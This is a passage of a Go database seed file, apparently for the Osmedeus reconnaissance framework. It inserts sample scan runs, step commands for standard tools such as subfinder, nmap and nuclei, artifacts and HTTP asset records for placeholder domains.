package database import ( "context" "fmt" "strings" "time" "github.com/google/uuid" "github.com/uptrace/bun" ) // SeedDatabase populates the database with sample data for development and testing func SeedDatabase(ctx context.Context) error { if db == nil { return fmt.Errorf("database not connected") } // Generate unique IDs scan1ID := uuid.New().String() scan2ID := uuid.New().String() scan3ID := uuid.New().String() scan4ID := uuid.New().String() // secondary.com - part of batch job scan5ID := uuid.New().String() // tertiary.io - part of batch job // Run group ID for batch scanning demonstration (scan1, scan4, scan5 share this) runGroup1ID := uuid.New().String()[:8] now := time.Now() oneHourAgo := now.Add(-1 * time.Hour) twoHoursAgo := now.Add(-2 * time.Hour) thirtyMinsAgo := now.Add(-30 * time.Minute) oneDayAgo := now.Add(-24 * time.Hour) threeDaysAgo := now.Add(-3 * 24 * time.Hour) fiveDaysAgo := now.Add(-5 * 24 * time.Hour) oneWeekAgo := now.Add(-7 * 24 * time.Hour) twoWeeksAgo := now.Add(-14 * 24 * time.Hour) oneMonthAgo := now.Add(-30 * 24 * time.Hour) // Seed Runs - ID is auto-generated, use RunUUID as unique identifier runs := []Run{ { RunUUID: scan1ID, RunGroupID: runGroup1ID, // Part of batch run group with scan4 and scan5 WorkflowName: "subdomain-enum", WorkflowKind: "module", Target: "example.com", Params: map[string]interface{}{"threads": 10, "timeout": 300}, Status: "completed", Workspace: "example.com", StartedAt: &twoHoursAgo, CompletedAt: &oneHourAgo, TriggerType: "manual", TotalSteps: 5, CompletedSteps: 5, CreatedAt: twoHoursAgo, UpdatedAt: oneHourAgo, }, { RunUUID: scan2ID, WorkflowName: "port-scan", WorkflowKind: "module", Target: "api.example.com", Params: map[string]interface{}{"ports": "1-10000", "rate": 1000}, Status: "running", Workspace: "api.example.com", StartedAt: &thirtyMinsAgo, TriggerType: "cron", TriggerName: "daily-recon", TotalSteps: 4, CompletedSteps: 2, CreatedAt: thirtyMinsAgo, UpdatedAt: now, }, { RunUUID: scan3ID, WorkflowName: "vuln-scan", WorkflowKind: "flow", Target: "staging.test.local", Params: map[string]interface{}{"severity": "critical,high", "templates": "cves"}, Status: "failed", Workspace: "staging.test.local", StartedAt: &twoHoursAgo, CompletedAt: &oneHourAgo, ErrorMessage: "nuclei: template loading failed: connection timeout", TriggerType: "manual", TotalSteps: 6, CompletedSteps: 3, CreatedAt: twoHoursAgo, UpdatedAt: oneHourAgo, }, // Batch run group - scan4 and scan5 share runGroup1ID with scan1 { RunUUID: scan4ID, RunGroupID: runGroup1ID, // Part of batch run group with scan1 and scan5 WorkflowName: "subdomain-enum", WorkflowKind: "module", Target: "secondary.com", Params: map[string]interface{}{"threads": 10, "timeout": 300}, Status: "completed", Workspace: "secondary.com", StartedAt: &twoHoursAgo, CompletedAt: &oneHourAgo, TriggerType: "manual", TotalSteps: 5, CompletedSteps: 5, CreatedAt: twoHoursAgo, UpdatedAt: oneHourAgo, }, { RunUUID: scan5ID, RunGroupID: runGroup1ID, // Part of batch run group with scan1 and scan4 WorkflowName: "subdomain-enum", WorkflowKind: "module", Target: "tertiary.io", Params: map[string]interface{}{"threads": 10, "timeout": 300}, Status: "running", Workspace: "tertiary.io", StartedAt: &thirtyMinsAgo, TriggerType: "manual", TotalSteps: 5, CompletedSteps: 3, CreatedAt: thirtyMinsAgo, UpdatedAt: now, }, } // Insert runs and build a map of RunUUID -> ID for referencing in StepResults/Artifacts runIDMap := make(map[string]int64) for i := range runs { if _, err := db.NewInsert().Model(&runs[i]).Exec(ctx); err != nil { return fmt.Errorf("failed to insert run: %w", err) } runIDMap[runs[i].RunUUID] = runs[i].ID } // Seed StepResults stepResults := []StepResult{ // Run 1 steps (subdomain-enum - completed) { ID: uuid.New().String(), RunID: runIDMap[scan1ID], StepName: "subfinder", StepType: "bash", Status: "completed", Command: "subfinder -d example.com -o {{Output}}/subdomain/sources/subfinder.txt", Output: "Found 47 subdomains", Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"}, DurationMs: 45000, LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/subfinder.log", StartedAt: &twoHoursAgo, CompletedAt: timePtr(twoHoursAgo.Add(45 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], StepName: "amass", StepType: "bash", Status: "completed", Command: "amass enum -passive -d example.com -o {{Output}}/subdomain/sources/amass.txt", Output: "Found 82 subdomains", Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"}, DurationMs: 120000, LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/amass.log", StartedAt: timePtr(twoHoursAgo.Add(45 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(165 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], StepName: "merge-subdomains", StepType: "function", Status: "completed", Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')", Output: "Merged 112 unique subdomains", Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"}, DurationMs: 500, StartedAt: timePtr(twoHoursAgo.Add(165 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(166 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], StepName: "httpx", StepType: "bash", Status: "completed", Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json", Output: "Probed 112 hosts, 78 alive", Exports: map[string]interface{}{"httpx_output": "{{Output}}/http/httpx-output.json"}, DurationMs: 180000, LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/httpx.log", StartedAt: timePtr(twoHoursAgo.Add(166 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(346 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], StepName: "screenshot", StepType: "bash", Status: "completed", Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/", Output: "Captured 78 screenshots", DurationMs: 300000, LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/gowitness.log", StartedAt: timePtr(twoHoursAgo.Add(346 * time.Second)), CompletedAt: &oneHourAgo, CreatedAt: twoHoursAgo, }, // Run 2 steps (port-scan - running) { ID: uuid.New().String(), RunID: runIDMap[scan2ID], StepName: "masscan", StepType: "bash", Status: "completed", Command: "masscan -p1-10000 --rate=1000 -iL {{targets}} -oG {{Output}}/ports/masscan.txt", Output: "Scanned 1 host, found 23 open ports", DurationMs: 600000, LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/masscan.log", StartedAt: &thirtyMinsAgo, CompletedAt: timePtr(thirtyMinsAgo.Add(10 * time.Minute)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan2ID], StepName: "nmap-service-scan", StepType: "bash", Status: "running", Command: "nmap -sV -sC -p{{ports}} -iL {{targets}} -oA {{Output}}/ports/nmap-services", DurationMs: 0, LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/nmap.log", StartedAt: timePtr(thirtyMinsAgo.Add(10 * time.Minute)), CreatedAt: thirtyMinsAgo, }, // Run 3 steps (vuln-scan - failed) { ID: uuid.New().String(), RunID: runIDMap[scan3ID], StepName: "prepare-targets", StepType: "function", Status: "completed", Command: "ReadFile('{{Input}}')", Output: "Loaded 15 targets", DurationMs: 100, StartedAt: &twoHoursAgo, CompletedAt: timePtr(twoHoursAgo.Add(100 * time.Millisecond)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan3ID], StepName: "nuclei", StepType: "bash", Status: "failed", Command: "nuclei -l {{targets}} -severity critical,high -t cves/ -o {{Output}}/vuln/nuclei.txt", ErrorMessage: "template loading failed: connection timeout", DurationMs: 30000, LogFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/logs/nuclei.log", StartedAt: timePtr(twoHoursAgo.Add(100 * time.Millisecond)), CompletedAt: timePtr(twoHoursAgo.Add(30 * time.Second)), CreatedAt: twoHoursAgo, }, // Additional steps for scan2ID (port-scan) { ID: uuid.New().String(), RunID: runIDMap[scan2ID], StepName: "port-filter", StepType: "function", Status: "completed", Command: "FilterPorts('{{Output}}/ports/masscan.txt', '{{Output}}/ports/filtered-ports.txt', 'common')", Output: "Filtered to 15 common service ports", Exports: map[string]interface{}{"filtered_ports": "{{Output}}/ports/filtered-ports.txt"}, DurationMs: 200, StartedAt: timePtr(thirtyMinsAgo.Add(10*time.Minute + 30*time.Second)), CompletedAt: timePtr(thirtyMinsAgo.Add(10*time.Minute + 31*time.Second)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan2ID], StepName: "banner-grab", StepType: "bash", Status: "pending", Command: "zgrab2 multiple -c {{Output}}/ports/zgrab-config.ini -o {{Output}}/ports/banners.json", DurationMs: 0, LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/zgrab.log", CreatedAt: thirtyMinsAgo, }, // Additional steps for scan3ID (vuln-scan - some completed before failure) { ID: uuid.New().String(), RunID: runIDMap[scan3ID], StepName: "validate-targets", StepType: "function", Status: "completed", Command: "ValidateURLs('{{Input}}')", Output: "Validated 15 URLs, 12 reachable", Exports: map[string]interface{}{"valid_targets": "{{Output}}/valid-targets.txt"}, DurationMs: 5000, StartedAt: timePtr(twoHoursAgo.Add(50 * time.Millisecond)), CompletedAt: timePtr(twoHoursAgo.Add(5050 * time.Millisecond)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan3ID], StepName: "load-templates", StepType: "bash", Status: "completed", Command: "nuclei -ut", Output: "Templates updated: 4523 total", DurationMs: 15000, LogFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/logs/nuclei-update.log", StartedAt: timePtr(twoHoursAgo.Add(5050 * time.Millisecond)), CompletedAt: timePtr(twoHoursAgo.Add(20050 * time.Millisecond)), CreatedAt: twoHoursAgo, }, // Steps for scan4ID (secondary.com - completed batch job run) { ID: uuid.New().String(), RunID: runIDMap[scan4ID], StepName: "subfinder", StepType: "bash", Status: "completed", Command: "subfinder -d secondary.com -o {{Output}}/subdomain/sources/subfinder.txt", Output: "Found 32 subdomains", Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"}, DurationMs: 38000, LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/subfinder.log", StartedAt: &twoHoursAgo, CompletedAt: timePtr(twoHoursAgo.Add(38 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], StepName: "amass", StepType: "bash", Status: "completed", Command: "amass enum -passive -d secondary.com -o {{Output}}/subdomain/sources/amass.txt", Output: "Found 58 subdomains", Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"}, DurationMs: 95000, LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/amass.log", StartedAt: timePtr(twoHoursAgo.Add(38 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(133 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], StepName: "merge-subdomains", StepType: "function", Status: "completed", Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')", Output: "Merged 75 unique subdomains", Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"}, DurationMs: 400, StartedAt: timePtr(twoHoursAgo.Add(133 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(134 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], StepName: "httpx", StepType: "bash", Status: "completed", Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json", Output: "Probed 75 hosts, 52 alive", Exports: map[string]interface{}{"httpx_output": "{{Output}}/http/httpx-output.json"}, DurationMs: 145000, LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/httpx.log", StartedAt: timePtr(twoHoursAgo.Add(134 * time.Second)), CompletedAt: timePtr(twoHoursAgo.Add(279 * time.Second)), CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], StepName: "screenshot", StepType: "bash", Status: "completed", Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/", Output: "Captured 52 screenshots", DurationMs: 250000, LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/gowitness.log", StartedAt: timePtr(twoHoursAgo.Add(279 * time.Second)), CompletedAt: &oneHourAgo, CreatedAt: twoHoursAgo, }, // Steps for scan5ID (tertiary.io - running batch job run) { ID: uuid.New().String(), RunID: runIDMap[scan5ID], StepName: "subfinder", StepType: "bash", Status: "completed", Command: "subfinder -d tertiary.io -o {{Output}}/subdomain/sources/subfinder.txt", Output: "Found 18 subdomains", Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"}, DurationMs: 25000, LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/subfinder.log", StartedAt: &thirtyMinsAgo, CompletedAt: timePtr(thirtyMinsAgo.Add(25 * time.Second)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan5ID], StepName: "amass", StepType: "bash", Status: "completed", Command: "amass enum -passive -d tertiary.io -o {{Output}}/subdomain/sources/amass.txt", Output: "Found 34 subdomains", Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"}, DurationMs: 78000, LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/amass.log", StartedAt: timePtr(thirtyMinsAgo.Add(25 * time.Second)), CompletedAt: timePtr(thirtyMinsAgo.Add(103 * time.Second)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan5ID], StepName: "merge-subdomains", StepType: "function", Status: "completed", Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')", Output: "Merged 42 unique subdomains", Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"}, DurationMs: 350, StartedAt: timePtr(thirtyMinsAgo.Add(103 * time.Second)), CompletedAt: timePtr(thirtyMinsAgo.Add(104 * time.Second)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan5ID], StepName: "httpx", StepType: "bash", Status: "running", Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json", DurationMs: 0, LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/httpx.log", StartedAt: timePtr(thirtyMinsAgo.Add(104 * time.Second)), CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan5ID], StepName: "screenshot", StepType: "bash", Status: "pending", Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/", DurationMs: 0, LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/gowitness.log", CreatedAt: thirtyMinsAgo, }, } for _, step := range stepResults { if _, err := db.NewInsert().Model(&step).Exec(ctx); err != nil { return fmt.Errorf("failed to insert step result: %w", err) } } // Seed Artifacts artifacts := []Artifact{ { ID: uuid.New().String(), RunID: runIDMap[scan1ID], Workspace: "example.com", Name: "final-subdomains.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/subdomain/final-subdomains.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 2847, LineCount: 112, Description: "Merged unique subdomains from all sources", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], Workspace: "example.com", Name: "alive-hosts.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/http/alive-hosts.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 1956, LineCount: 78, Description: "HTTP-responsive hosts from httpx probe", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], Workspace: "example.com", Name: "httpx-output.json", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/http/httpx-output.json", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeJSON, SizeBytes: 156789, LineCount: 78, Description: "Full httpx probe results with headers and tech detection", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan2ID], Workspace: "api.example.com", Name: "masscan.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/masscan.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 892, LineCount: 23, Description: "Open ports discovered by masscan", CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan1ID], Workspace: "example.com", Name: "screenshots", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/screenshots/", ArtifactType: ArtifactTypeScreenshot, ContentType: ContentTypeFolder, SizeBytes: 15728640, LineCount: 78, Description: "GoWitness screenshot captures", CreatedAt: oneHourAgo, }, // Additional artifacts for scan2ID (port-scan) { ID: uuid.New().String(), RunID: runIDMap[scan2ID], Workspace: "api.example.com", Name: "nmap-services.xml", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/nmap-services.xml", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeUnknown, SizeBytes: 45678, LineCount: 890, Description: "Nmap service detection XML output with version info", CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan2ID], Workspace: "api.example.com", Name: "port-summary.csv", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/port-summary.csv", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeUnknown, SizeBytes: 1234, LineCount: 24, Description: "Summary of open ports with service names", CreatedAt: thirtyMinsAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan2ID], Workspace: "api.example.com", Name: "targets.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/targets.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 156, LineCount: 5, Description: "Input target IPs for port scanning", CreatedAt: thirtyMinsAgo, }, // Artifacts for scan3ID (vuln-scan - failed but has some outputs) { ID: uuid.New().String(), RunID: runIDMap[scan3ID], Workspace: "staging.test.local", Name: "nuclei-partial.json", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local/vuln/nuclei-partial.json", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeJSON, SizeBytes: 8923, LineCount: 45, Description: "Partial nuclei results before failure", CreatedAt: twoHoursAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan3ID], Workspace: "staging.test.local", Name: "targets-prepared.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local/targets-prepared.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 345, LineCount: 15, Description: "Prepared target list for vulnerability scanning", CreatedAt: twoHoursAgo, }, // Artifacts for scan4ID (secondary.com - completed batch job) { ID: uuid.New().String(), RunID: runIDMap[scan4ID], Workspace: "secondary.com", Name: "final-subdomains.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/subdomain/final-subdomains.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 1892, LineCount: 75, Description: "Merged unique subdomains from all sources", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], Workspace: "secondary.com", Name: "alive-hosts.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/http/alive-hosts.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 1304, LineCount: 52, Description: "HTTP-responsive hosts from httpx probe", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], Workspace: "secondary.com", Name: "httpx-output.json", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/http/httpx-output.json", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeJSON, SizeBytes: 98456, LineCount: 52, Description: "Full httpx probe results with headers and tech detection", CreatedAt: oneHourAgo, }, { ID: uuid.New().String(), RunID: runIDMap[scan4ID], Workspace: "secondary.com", Name: "screenshots", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/screenshots/", ArtifactType: ArtifactTypeScreenshot, ContentType: ContentTypeFolder, SizeBytes: 10485760, LineCount: 52, Description: "GoWitness screenshot captures", CreatedAt: oneHourAgo, }, // Artifacts for scan5ID (tertiary.io - running batch job) { ID: uuid.New().String(), RunID: runIDMap[scan5ID], Workspace: "tertiary.io", Name: "final-subdomains.txt", ArtifactPath: "/home/osmedeus/workspaces-osmedeus/tertiary.io/subdomain/final-subdomains.txt", ArtifactType: ArtifactTypeOutput, ContentType: ContentTypeText, SizeBytes: 1056, LineCount: 42, Description: "Merged unique subdomains from all sources", CreatedAt: thirtyMinsAgo, }, } for _, artifact := range artifacts { if _, err := db.NewInsert().Model(&artifact).Exec(ctx); err != nil { return fmt.Errorf("failed to insert artifact: %w", err) } } // Seed Assets assets := []Asset{ { Workspace: "example.com", AssetValue: "example.com", URL: "https://example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 12567, Title: "Example Domain", Words: 234, Lines: 89, HostIP: "93.184.216.34", DnsRecords: []string{"93.184.216.34"}, TLS: "TLS 1.3", AssetType: "http", Technologies: []string{"Nginx", "CloudFlare"}, ResponseTime: "145ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "www.example.com", URL: "https://www.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 301, ContentType: "text/html", ContentLength: 162, Title: "301 Moved Permanently", HostIP: "93.184.216.34", DnsRecords: []string{"93.184.216.34"}, TLS: "TLS 1.3", Technologies: []string{"Nginx"}, ResponseTime: "98ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "api.example.com", URL: "https://api.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "application/json", ContentLength: 45, Title: "", HostIP: "93.184.216.35", DnsRecords: []string{"93.184.216.35"}, TLS: "TLS 1.3", AssetType: "http", Technologies: []string{"Express", "Node.js"}, ResponseTime: "67ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "admin.example.com", URL: "https://admin.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 403, ContentType: "text/html", ContentLength: 548, Title: "403 Forbidden", HostIP: "93.184.216.36", DnsRecords: []string{"93.184.216.36"}, TLS: "TLS 1.2", Technologies: []string{"Apache", "ModSecurity"}, ResponseTime: "234ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "mail.example.com", URL: "https://mail.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 8923, Title: "Webmail Login", HostIP: "93.184.216.37", DnsRecords: []string{"93.184.216.37"}, TLS: "TLS 1.3", Technologies: []string{"Roundcube", "PHP"}, ResponseTime: "312ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "blog.example.com", URL: "https://blog.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 45678, Title: "Example Blog - Tech Insights", Words: 1234, Lines: 456, HostIP: "93.184.216.38", DnsRecords: []string{"93.184.216.38"}, TLS: "TLS 1.3", Technologies: []string{"WordPress", "PHP", "MySQL"}, ResponseTime: "456ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "dev.example.com", URL: "http://dev.example.com/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 2345, Title: "Development Server", HostIP: "10.0.0.50", DnsRecords: []string{"10.0.0.50"}, Technologies: []string{"Python", "Flask", "Gunicorn"}, ResponseTime: "23ms", Remarks: []string{"Internal development server - no TLS"}, Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "staging.example.com", URL: "https://staging.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 401, ContentType: "text/html", ContentLength: 234, Title: "Authentication Required", HostIP: "93.184.216.40", DnsRecords: []string{"93.184.216.40"}, TLS: "TLS 1.3", Technologies: []string{"Nginx"}, ResponseTime: "89ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "cdn.example.com", URL: "https://cdn.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/plain", ContentLength: 0, HostIP: "104.16.123.96", DnsRecords: []string{"104.16.123.96", "104.16.124.96"}, TLS: "TLS 1.3", Technologies: []string{"CloudFlare CDN"}, ResponseTime: "12ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "status.example.com", URL: "https://status.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 5678, Title: "System Status - All Systems Operational", Words: 89, Lines: 34, HostIP: "93.184.216.42", DnsRecords: []string{"93.184.216.42"}, TLS: "TLS 1.3", Technologies: []string{"Statuspage.io"}, ResponseTime: "156ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, // Additional assets for better testing { Workspace: "example.com", AssetValue: "shop.example.com", URL: "https://shop.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 89234, Title: "Example Shop - Online Store", Words: 2456, Lines: 678, HostIP: "93.184.216.50", DnsRecords: []string{"93.184.216.50"}, TLS: "TLS 1.3", Technologies: []string{"Shopify", "React", "Node.js"}, ResponseTime: "234ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "docs.example.com", URL: "https://docs.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 34567, Title: "Documentation - Example", Words: 1890, Lines: 456, HostIP: "93.184.216.51", DnsRecords: []string{"93.184.216.51"}, TLS: "TLS 1.3", Technologies: []string{"Docusaurus", "React", "Algolia"}, ResponseTime: "123ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "support.example.com", URL: "https://support.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 23456, Title: "Support Center - Example", Words: 567, Lines: 189, HostIP: "93.184.216.52", DnsRecords: []string{"93.184.216.52"}, TLS: "TLS 1.3", Technologies: []string{"Zendesk", "jQuery"}, ResponseTime: "189ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "jenkins.example.com", URL: "https://jenkins.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 403, ContentType: "text/html", ContentLength: 1234, Title: "Jenkins - Access Denied", HostIP: "10.0.0.100", DnsRecords: []string{"10.0.0.100"}, TLS: "TLS 1.2", Technologies: []string{"Jenkins", "Java"}, ResponseTime: "67ms", Remarks: []string{"Internal CI/CD server"}, Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "gitlab.example.com", URL: "https://gitlab.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 302, ContentType: "text/html", ContentLength: 0, Title: "", HostIP: "10.0.0.101", DnsRecords: []string{"10.0.0.101"}, TLS: "TLS 1.3", Technologies: []string{"GitLab", "Ruby", "PostgreSQL"}, ResponseTime: "45ms", Remarks: []string{"Internal Git server - redirects to login"}, Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "grafana.example.com", URL: "https://grafana.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 15678, Title: "Grafana - Monitoring Dashboard", Words: 234, Lines: 89, HostIP: "10.0.0.102", DnsRecords: []string{"10.0.0.102"}, TLS: "TLS 1.3", Technologies: []string{"Grafana", "Go"}, ResponseTime: "78ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "legacy.example.com", URL: "http://legacy.example.com/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 56789, Title: "Legacy Application", Words: 1234, Lines: 567, HostIP: "93.184.216.60", DnsRecords: []string{"93.184.216.60"}, Technologies: []string{"ASP.NET", "IIS", "jQuery"}, ResponseTime: "567ms", Remarks: []string{"Legacy system - no TLS"}, Source: "httpx", LastSeenAt: oneWeekAgo, CreatedAt: 